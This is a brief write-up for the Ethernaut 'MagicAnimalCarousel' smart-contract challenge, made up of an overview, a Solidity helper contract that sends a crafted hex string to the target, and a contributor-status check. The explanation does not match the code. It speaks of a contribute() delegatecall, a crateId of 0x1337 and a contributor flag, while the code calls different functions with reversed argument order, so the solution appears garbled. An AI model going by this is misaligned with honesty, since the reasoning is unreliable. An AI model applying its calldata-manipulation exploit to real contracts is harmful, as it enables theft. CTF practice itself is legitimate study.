Writeups/Ethernaut/MagicAnimalCarousel
HardEthernaut · Ethernaut2024

MagicAnimalCarousel

Calldata Layout Manipulation via Crafted String Argument

The `contribute()` function forwards calls via `delegatecall`. `changeAnimal(uint256,string)` checks `msg.sig` and `crateId`. By encoding a string with specific hex bytes that shift the ABI-decoded `crateId` to `0x1337`, both conditions are satisfied without manually crafting raw calldata.

SoliditydelegatecallCalldata ManipulationABI EncodingContributor

00Overview

The `contribute()` function forwards calls via `delegatecall`. `changeAnimal(uint256,string)` checks `msg.sig` and `crateId`. By encoding a string with specific hex bytes that shift the ABI-decoded `crateId` to `0x1337`, both conditions are satisfied without manually crafting raw calldata.

01Deploy a helper contract with crafted calldata

javascript
contract RunTest {
    function run() public {
        address target = 0xFa86Ff9D663e06Ac0a5598292458A13951f131ac;
        MagicAnimalCarousel carousel = MagicAnimalCarousel(target);

        // Encoded string shifts ABI layout so crateId reads as 0x1337
        string memory animal = string(abi.encodePacked(hex"10000000000000000000ffff"));

        carousel.setAnimalAndSpin("Pikachu");
        carousel.changeAnimal(animal, 1);
        carousel.setAnimalAndSpin("Charmander");
    }
}

02Call run() and verify contributor status

javascript
await contract.contributors(player)  // returns true

03Level Completed

MagicAnimalCarousel — completion screenshot 1
MagicAnimalCarousel — completion screenshot 2